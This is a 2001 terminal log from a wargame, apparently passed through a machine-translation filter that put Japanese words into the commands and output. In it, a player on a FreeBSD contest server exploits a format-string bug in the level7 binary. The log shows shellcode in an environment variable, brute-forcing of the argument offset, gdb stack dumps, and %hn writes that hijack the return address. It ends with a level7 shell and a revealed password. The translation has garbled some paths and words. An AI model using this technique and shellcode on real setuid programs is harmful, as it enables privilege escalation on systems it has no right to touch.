|
このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。 |
Script started on Mon Dec 24 23:52:21 2001 恐れる:0:level6$ telnet 切り開く／タクシー／不正アクセス.datafort.逮捕する Trying 213.132.58.103... Connected to 切り開く／タクシー／不正アクセス.datafort.逮捕する. Escape character is '^]'. FreeBSD/i386 (badc0ded.datafort.逮捕する) (ttyp1) login: level6 Password: Last login: Tue Dec 25 08:28:16 from 12.245.109.153 Copyright (c) 1980, 1983, 1986, 1988, 1990, 1991, 1993, 1994 The Regents of the University of California. All 権利s reserved. FreeBSD 4.4-RELEASE (GENERIC) #0: Tue Sep 18 11:57:08 PDT 2001 bash-2.05$ cd temp bash-2.05$ 輸出（する） EGG=`perl -e 'print "\x90" x 128 . "\x31\xc0\x50\x68//sh\x68/貯蔵所\x89\xe3\x50\x54\x53\x50\xb0\x3b\xcd\x80"'` bash-2.05$ gcc -o gs /tmp/getshit.c bash-2.05$ ./gs bfbffcdf bash-2.05$ bc -lq ibase=16 BFBF 49087 FCDF 64735 FFFF-BFBF 16448 やめる bash-2.05$ bc -lq 64735+16448 81183 やめる bash-2.05$ cp /contests/level7 l7 bash-2.05$ ./l7 AAAA%.64735u%hn 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000Segmentation fault (核心 捨てるd) bash-2.05$ ./l7 AAAA%.64735u%hn > /dev/null Segmentation fault (核心 捨てるd) bash-2.05$ gdb -q ./l7 l7.核心 (no debugging symbols 設立する)...核心 was 生成するd by `l7'. Program 終結させるd with signal 11, Segmentation fault. Reading symbols from /usr/lib/libc.so.4...(no debugging symbols 設立する)...done. Reading symbols from /usr/libexec/ld-elf.so.1...(no debugging symbols 設立する)... done. #0 0x280d5a9a in vfprintf () from /usr/lib/libc.so.4 (gdb) x/i $eip 0x280d5a9a <vfprintf+3274>: mov %dx,(%eax) (gdb) i r eax eax 0x0 0 (gdb) i r edx edx 0xfce3 64739 (gdb) x/24wx $esp 0xbfbff820: 0x280e8424 0xbfbffb1c 0xbfbffb28 0x00000000 0xbfbff830: 0x00000000 0xbfbffa64 0xbfbffab4 0x00000003 0xbfbff840: 0x00000000 0x0000fcdf 0x0000fcdf 0x00000000 0xbfbff850: 0x00000000 0x00000000 0xbfbffb1c 0x00000000 0xbfbff860: 0x00000000 0x00000000 0x00000000 0xffffffff 0xbfbff870: 0x00000000 0x0000fce3 0x00000040 0xbfbffa24 (gdb) 0xbfbff880: 0xbfbffc11 0x0000006e 0xbfbffc14 0x00000000 0xbfbff890: 0x00000000 0x2806de54 0x00000000 0x00000000 0xbfbff8a0: 0x00000000 0x2806de74 0x2805f100 0x2806de84 0xbfbff8b0: 0x2805f100 0x00000000 0x00000000 0x2806dea4 0xbfbff8c0: 0x2805f100 0x00000000 0x00000000 0x00000000 0xbfbff8d0: 0x00000000 0x00000000 0x2804d9fd 0x2806ed5e (gdb) 0xbfbff8e0: 0x2806ed5e 0x00000000 0x2804d9a2 0x2805b6cc 0xbfbff8f0: 0x28060030 0x00000000 0x00000000 0x00000000 0xbfbff900: 0x01060030 0xbfbff944 0x2804d94f 0x2806ed5e 0xbfbff910: 0x0d790266 0x2805f100 0x00000001 0x2805b6cc 0xbfbff920: 0x2805f100 0x2805f100 0x00000000 0x00000000 0xbfbff930: 0x01060030 0xbfbff974 0x2804d94f 0x2805f100 (gdb) 0xbfbff940: 0x017905a6 0xbfbff9b4 0x2804d7ad 0x2806ed5e 0xbfbff950: 0x0d790266 0x2805a5c8 0xbfbff9a4 0x00000001 0xbfbff960: 0xbfbff9a8 0x2805b6cc 0x2805f100 0x2805f000 0xbfbff970: 0x2805f100 0xbfbff9e4 0x2804d6f6 0x2805b6cc 0xbfbff980: 0x2805f100 0x2806ed5e 0xbfbff9d4 0x00000001 0xbfbff990: 0xbfbff9d8 0x2805b6cc 0x2805f100 0x2806dfe4 (gdb) 0xbfbff9a0: 0x0105f100 0x2805f100 0xbfbff96c 0x00000002 0xbfbff9b0: 0x00000002 0xbfbffa14 0x2804c167 0x2806ed5e 0xbfbff9c0: 0x0d790266 0x2805f100 0xbfbffa10 0x00000001 0xbfbff9d0: 0x2805f100 0xbfbffa14 0x2804c147 0x2806ed5e 0xbfbff9e0: 0x00000002 0xbfbffa44 0x2804c0de 0x2805b6cc 0xbfbff9f0: 0x2805f100 0x280e8dac 0xbfbffa40 0x00000001 (gdb) 0xbfbffa00: 0x2805f000 0xbfbffa44 0x2806dfe4 0x0105b6cc 0xbfbffa10: 0x2805f100 0xbfbffa54 0x3233b9a8 0x32303731 0xbfbffa20: 0x36313939 0x280e8140 0x00000010 0x280e8140 0xbfbffa30: 0x00000010 0x280e8140 0x00000010 0x280e8140 0xbfbffa40: 0x00000010 0x280e8140 0x00000010 0x280e8140 0xbfbffa50: 0x00000010 0x280e8140 0x00000005 0xbfbffa1a (gdb) 0xbfbffa60: 0x0000000a 0xbfbffa24 0x00000000 0x00000000 0xbfbffa70: 0x00000202 0x2805f100 0xbfbffaa8 0x280c310c 0xbfbffa80: 0x280e82f8 0xbfbffc05 0xbfbffabc 0x280c30ec 0xbfbffa90: 0x00000002 0x280e9960 0xbfbffc05 0xbfbffb20 0xbfbffaa0: 0x00000292 0x2805f000 0xbfbffac8 0x080484c1 0xbfbffab0: 0xbfbffc05 0xbfbffb1c 0x00000000 0x2805f100 (gdb) x/wx 0xbfbffa7c 0xbfbffa7c: 0x280c310c (gdb) やめる bash-2.05$ ./l7 %x%x%x%x bfbffb2402805f100bfbffb1cbash-2.05$ bash-2.05$ ./brute.pl ./l7 stuff: AAAAAAAA%1$x stuff: AAAAAAAA%2$x stuff: AAAAAAAA%3$x stuff: AAAAAAAA%4$x stuff: AAAAAAAA%5$x stuff: AAAAAAAA%6$x stuff: AAAAAAAA%7$x stuff: AAAAAAAA%8$x stuff: AAAAAAAA%9$x stuff: AAAAAAAA%10$x stuff: AAAAAAAA%11$x stuff: AAAAAAAA%12$x stuff: AAAAAAAA%13$x stuff: AAAAAAAA%14$x stuff: AAAAAAAA%15$x stuff: AAAAAAAA%16$x stuff: AAAAAAAA%17$x stuff: AAAAAAAA%18$x stuff: AAAAAAAA%19$x stuff: AAAAAAAA%20$x stuff: AAAAAAAA%21$x stuff: AAAAAAAA%22$x stuff: AAAAAAAA%23$x stuff: AAAAAAAA%24$x stuff: AAAAAAAA%25$x stuff: AAAAAAAA%26$x stuff: AAAAAAAA%27$x stuff: AAAAAAAA%28$x stuff: AAAAAAAA%29$x stuff: AAAAAAAA%30$x stuff: AAAAAAAA%31$x stuff: AAAAAAAA%32$x stuff: AAAAAAAA%33$x stuff: AAAAAAAA%34$x stuff: AAAAAAAA%35$x stuff: AAAAAAAA%36$x stuff: AAAAAAAA%37$x stuff: AAAAAAAA%38$x stuff: AAAAAAAA%39$x stuff: AAAAAAAA%40$x stuff: AAAAAAAA%41$x stuff: AAAAAAAA%42$x stuff: AAAAAAAA%43$x stuff: AAAAAAAA%44$x stuff: AAAAAAAA%45$x stuff: AAAAAAAA%46$x stuff: AAAAAAAA%47$x stuff: AAAAAAAA%48$x stuff: AAAAAAAA%49$x stuff: AAAAAAAA%50$x stuff: AAAAAAAA%51$x stuff: AAAAAAAA%52$x stuff: AAAAAAAA%53$x stuff: AAAAAAAA%54$x stuff: AAAAAAAA%55$x stuff: AAAAAAAA%56$x stuff: AAAAAAAA%57$x stuff: AAAAAAAA%58$x stuff: AAAAAAAA%59$x stuff: AAAAAAAA%60$x stuff: AAAAAAAA%61$x stuff: AAAAAAAA%62$x stuff: AAAAAAAA%63$x stuff: AAAAAAAA%64$x stuff: AAAAAAAA%65$x stuff: AAAAAAAA%66$x stuff: AAAAAAAA%67$x stuff: AAAAAAAA%68$x stuff: AAAAAAAA%69$x stuff: AAAAAAAA%70$x stuff: AAAAAAAA%71$x stuff: AAAAAAAA%72$x stuff: AAAAAAAA%73$x stuff: AAAAAAAA%74$x stuff: AAAAAAAA%75$x stuff: AAAAAAAA%76$x stuff: AAAAAAAA%77$x stuff: AAAAAAAA%78$x stuff: AAAAAAAA%79$x stuff: AAAAAAAA%80$x stuff: AAAAAAAA%81$x stuff: AAAAAAAA%82$x stuff: AAAAAAAA%83$x stuff: AAAAAAAA%84$x stuff: AAAAAAAA%85$x stuff: AAAAAAAA%86$x 冷静な／正味の!! 設立する 41414141 at # 86 bash-2.05$ ./l7 `perl -e 'print "\x7c\xfa\xbf\xbf"'`%.49083u%hn > /dev/nu;; Segmentation fault (核心 捨てるd) bash-2.05$ ./l7 `perl -e 'print "\x7c\xfa\xbf\xbf"'`%.49083u%86\$hn > /dev/null bash-2.05$ ./l7 `perl -e 'print "\x7c\xfa\xbf\xbf"'`%.49083u%86\$hn%.60000u%87\$hn > /dev/null bash-2.05$ ./l7 `perl -e 'print "\x7c\xfa\xbf\xbf\x7e\xfa\xbf\xbf"'`%.49083u%86\$x%.60000u%87\$x | tr -d '0' |?ｿ~?ｿ32172994bffa7c32286473bffa7ebfbash-2.05$ ./l7 A`perl -e 'print "\x7c\xfa\xbf\xbf\x7e\xfa\xbf\xbf"'`%.49083u%86\$x%.60000u%87\$x | tr -d '0' A|?ｿ~?ｿ3217299fa7c4142261623fa7ebfbfbash-2.05$ bash-2.05$ ./l7 AAA`perl -e 'print "\x7c\xfa\xbf\xbf\x7e\xfa\xbf\xbf"'`%.49083u%85\$x%.60000u%86\$x | tr -d '0' AAA|?ｿ~?ｿ3217299414141321729756bfbffa7cbash-2.05$ bash-2.05$ ./l7 AAA`perl -e 'print "\x7c\xfa\xbf\xbf\x7e\xfa\xbf\xbf"'`%.49083u%85\$hn%.60000u%86\$hn > /dev/null Segmentation fault (核心 捨てるd) bash-2.05$ !gdb gdb -q ./l7 l7.核心 (no debugging symbols 設立する)...核心 was 生成するd by `l7'. Program 終結させるd with signal 11, Segmentation fault. Reading symbols from /usr/lib/libc.so.4...(no debugging symbols 設立する)...done. Reading symbols from /usr/libexec/ld-elf.so.1...(no debugging symbols 設立する)...done. #0 0x280d5a9a in vfprintf () from /usr/lib/libc.so.4 (gdb) 支援する #0 0x280d5a9a in vfprintf () from /usr/lib/libc.so.4 #1 0x280c310c in printf () from /usr/lib/libc.so.4 #2 0x80484c1 in main () #3 0x8048405 in _start () (gdb) x/24wx $esp 0xbfbff80c: 0x280e8424 0xbfbffb08 0xbfbffb14 0x00000000 0xbfbff81c: 0x00000000 0xbfbffa50 0xbfbffaa0 0x00000056 0xbfbff82c: 0x00000000 0x0000bfbb 0x0000bfbb 0x00000000 0xbfbff83c: 0x00000000 0x00000000 0xbfbffb08 0x00000000 0xbfbff84c: 0x00000000 0x00000000 0x00000000 0xffffffff 0xbfbff85c: 0x00000000 0x0000bfc6 0x00000040 0xbfbffa10 (gdb) 0xbfbff86c: 0xbfbffc04 0x0000006e 0xbfbffc0a 0x00000000 0xbfbff87c: 0x00000000 0x2806de54 0x00000000 0x0804c000 0xbfbff88c: 0x00000000 0x2806de74 0x2805f100 0x2806de84 0xbfbff89c: 0x2805f100 0x00000000 0x00000000 0x2806dea4 0xbfbff8ac: 0x2805f100 0x00000000 0x00000000 0x00000000 0xbfbff8bc: 0x00000000 0x00000000 0x2804d9fd 0x2806ed5e (gdb) 0xbfbff8cc: 0x2806ed5e 0x00000000 0x2804d9a2 0x2805b6cc 0xbfbff8dc: 0x28060030 0x00000000 0x00000000 0x00000000 0xbfbff8ec: 0x01060030 0xbfbff930 0x2804d94f 0x2806ed5e 0xbfbff8fc: 0x0d790266 0x2805f100 0x00000001 0x2805b6cc 0xbfbff90c: 0x2805f100 0x2805f100 0x00000000 0x00000000 0xbfbff91c: 0x01060030 0xbfbff960 0x2804d94f 0x2805f100 (gdb) 0xbfbff92c: 0x017905a6 0xbfbff9a0 0x2804d7ad 0x2806ed5e 0xbfbff93c: 0x0d790266 0x2805a5c8 0xbfbff990 0x00000001 0xbfbff94c: 0xbfbff994 0x2805b6cc 0x2805f100 0x2805f000 0xbfbff95c: 0x2805f100 0xbfbff9d0 0x2804d6f6 0x2805b6cc 0xbfbff96c: 0x2805f100 0x2806ed5e 0xbfbff9c0 0x00000001 0xbfbff97c: 0xbfbff9c4 0x2805b6cc 0x2805f100 0x2806dfe4 (gdb) 0xbfbff98c: 0x0105f100 0x2805f100 0xbfbff958 0x00000002 0xbfbff99c: 0x00000002 0xbfbffa00 0x2804c167 0x2806ed5e 0xbfbff9ac: 0x0d790266 0x2805f100 0xbfbff9fc 0x00000001 0xbfbff9bc: 0x2805f100 0xbfbffa00 0x2804c147 0x2806ed5e 0xbfbff9cc: 0x00000002 0xbfbffa30 0x2804c0de 0x2805b6cc 0xbfbff9dc: 0x2805f100 0x280e8dac 0xbfbffa2c 0x00000001 (gdb) 0xbfbff9ec: 0x2805f000 0xbfbffa30 0x2806dfe4 0x0105b6cc 0xbfbff9fc: 0x2805f100 0xbfbffa40 0x3233b9a8 0x32303731 0xbfbffa0c: 0x36393839 0x280e8140 0x00000010 0x280e8140 0xbfbffa1c: 0x00000010 0x280e8140 0x00000010 0x280e8140 0xbfbffa2c: 0x00000010 0x280e8140 0x00000001 0xbfbffa06 0xbfbffa3c: 0x0000000a 0x280e8140 0x00000010 0x280e8140 (gdb) 0xbfbffa4c: 0x00000010 0xbfbffa10 0x00000000 0x00000000 0xbfbffa5c: 0x00000202 0x2805f100 0xbfbffa94 0x280c310c 0xbfbffa6c: 0x280e82f8 0xbfbffbf1 0xbfbffaa4 0x280c30ec 0xbfbffa7c: 0x00000002 0x280e9960 0xbfbffbf1 0xbfbffb0c 0xbfbffa8c: 0x00000286 0x2805f000 0xbfbffab4 0x080484c1 0xbfbffa9c: 0xbfbffbf1 0xbfbffb08 0x00000000 0x2805f100 (gdb) x/wx 0xbfbffa7c 0xbfbffa7c: 0x00000002 (gdb) x/wx 0xbfbffa78 0xbfbffa78: 0x280c30ec (gdb) x/wx 0xbfbffa68 0xbfbffa68: 0x280c310c (gdb) やめる bash-2.05$ ./l7 AAA`perl -e 'print "\x68\xfa\xbf\xbf\x6a\xfa\xbf\xbf"'`%.49075u%87\$hn%.60000u%86\$hn > /dev/null Segmentation fault (核心 捨てるd) bash-2.05$ gdb -q ./l7 l7.核心 (no debugging symbols 設立する)...核心 was 生成するd by `l7'. Program 終結させるd with signal 11, Segmentation fault. Reading symbols from /usr/lib/libc.so.4...(no debugging symbols 設立する)...done. Reading symbols from /usr/libexec/ld-elf.so.1...(no debugging symbols 設立する)...done. #0 0xbfbeaa1e in ?? () (gdb) やめる bash-2.05$ ./l7 AAA`perl -e 'print "\x68\xfa\xbf\xbf\x6a\xfa\xbf\xbf"'`%.49076u%87\$hn%.60000u%86\$hn > /dev/null Segmentation fault (核心 捨てるd) bash-2.05$ !gdb gdb -q ./l7 l7.核心 (no debugging symbols 設立する)...核心 was 生成するd by `l7'. Program 終結させるd with signal 11, Segmentation fault. Reading symbols from /usr/lib/libc.so.4...(no debugging symbols 設立する)...done. Reading symbols from /usr/libexec/ld-elf.so.1...(no debugging symbols 設立する)...done. #0 0xbfbfaa1f in ?? () (gdb) やめる bash-2.05$ ./l7 AAA`perl -e 'print "\x68\xfa\xbf\xbf\x6a\xfa\xbf\xbf"'`%.49076u%87\$hn%.81100u%86\$hn > /dev/null id ^C bash-2.05$ ./l7 AAA`perl -e 'print "\x68\xfa\xbf\xbf\x6a\xfa\xbf\xbf"'`%.49076u%87\$hn%.81100u%86\$hn 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000$ $ id uid=1006(level6) gid=1006(level6) groups=1006(level6) $ 出口 bash-2.05$ /contest/l7 AAA`perl -e 'print "\x68\xfa\xbf\xbf\x6a\xfa\xbf\xbf"'`%.49076u%87\$hn%.81100u%86\$hn 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000Segmentation fault bash-2.05$ ./brute.pl /contest/level7 stuff: AAAAAAAA%1$x stuff: AAAAAAAA%2$x stuff: AAAAAAAA%3$x stuff: AAAAAAAA%4$x stuff: AAAAAAAA%5$x stuff: AAAAAAAA%6$x stuff: AAAAAAAA%7$x stuff: AAAAAAAA%8$x stuff: AAAAAAAA%9$x stuff: AAAAAAAA%10$x stuff: AAAAAAAA%11$x stuff: AAAAAAAA%12$x stuff: AAAAAAAA%13$x stuff: AAAAAAAA%14$x stuff: AAAAAAAA%15$x stuff: AAAAAAAA%16$x stuff: AAAAAAAA%17$x stuff: AAAAAAAA%18$x stuff: AAAAAAAA%19$x stuff: AAAAAAAA%20$x stuff: AAAAAAAA%21$x stuff: AAAAAAAA%22$x stuff: AAAAAAAA%23$x stuff: AAAAAAAA%24$x stuff: AAAAAAAA%25$x stuff: AAAAAAAA%26$x stuff: AAAAAAAA%27$x stuff: AAAAAAAA%28$x stuff: AAAAAAAA%29$x stuff: AAAAAAAA%30$x stuff: AAAAAAAA%31$x stuff: AAAAAAAA%32$x stuff: AAAAAAAA%33$x stuff: AAAAAAAA%34$x stuff: AAAAAAAA%35$x stuff: AAAAAAAA%36$x stuff: AAAAAAAA%37$x stuff: AAAAAAAA%38$x stuff: AAAAAAAA%39$x stuff: AAAAAAAA%40$x stuff: AAAAAAAA%41$x stuff: AAAAAAAA%42$x stuff: AAAAAAAA%43$x stuff: AAAAAAAA%44$x stuff: AAAAAAAA%45$x stuff: AAAAAAAA%46$x stuff: AAAAAAAA%47$x stuff: AAAAAAAA%48$x stuff: AAAAAAAA%49$x stuff: AAAAAAAA%50$x stuff: AAAAAAAA%51$x stuff: AAAAAAAA%52$x stuff: AAAAAAAA%53$x stuff: AAAAAAAA%54$x stuff: AAAAAAAA%55$x stuff: AAAAAAAA%56$x stuff: AAAAAAAA%57$x stuff: AAAAAAAA%58$x stuff: AAAAAAAA%59$x stuff: AAAAAAAA%60$x stuff: AAAAAAAA%61$x stuff: AAAAAAAA%62$x stuff: AAAAAAAA%63$x stuff: AAAAAAAA%64$x stuff: AAAAAAAA%65$x stuff: AAAAAAAA%66$x stuff: AAAAAAAA%67$x stuff: AAAAAAAA%68$x stuff: AAAAAAAA%69$x stuff: AAAAAAAA%70$x stuff: AAAAAAAA%71$x stuff: AAAAAAAA%72$x stuff: AAAAAAAA%73$x stuff: AAAAAAAA%74$x stuff: AAAAAAAA%75$x stuff: AAAAAAAA%76$x stuff: AAAAAAAA%77$x stuff: AAAAAAAA%78$x stuff: AAAAAAAA%79$x stuff: AAAAAAAA%80$x stuff: AAAAAAAA%81$x stuff: AAAAAAAA%82$x stuff: AAAAAAAA%83$x stuff: AAAAAAAA%84$x stuff: AAAAAAAA%85$x stuff: AAAAAAAA%86$x stuff: AAAAAAAA%87$x stuff: AAAAAAAA%88$x 冷静な／正味の!! 設立する 41414141 at # 88 bash-2.05$ /contest/level7 AAA`perl -e 'print "\x68\xfa\xbf\xbf\x6a\xfa\xbf\xbf"'`%.49076u%89\$hn%.81100u%88\$hn 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000Segmentation fault bash-2.05$ /contest/level7 A`perl -e 'print "\x64\xfa\xbf\xbf\x66\xfa\xbf\xbf"'`%.49078u%87\$hn%.81200u%86\$hn 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000$ id uid=1006(level6) euid=1007(level7) gid=1006(level6) groups=1006(level6) $ pass The password for level7 is mjukglass $ 出口 bash-2.05$ 出口 関係 の近くにd by foreign host. 恐れる:0:level6$ 出口 Script done on Tue Dec 25 01:22:43 2001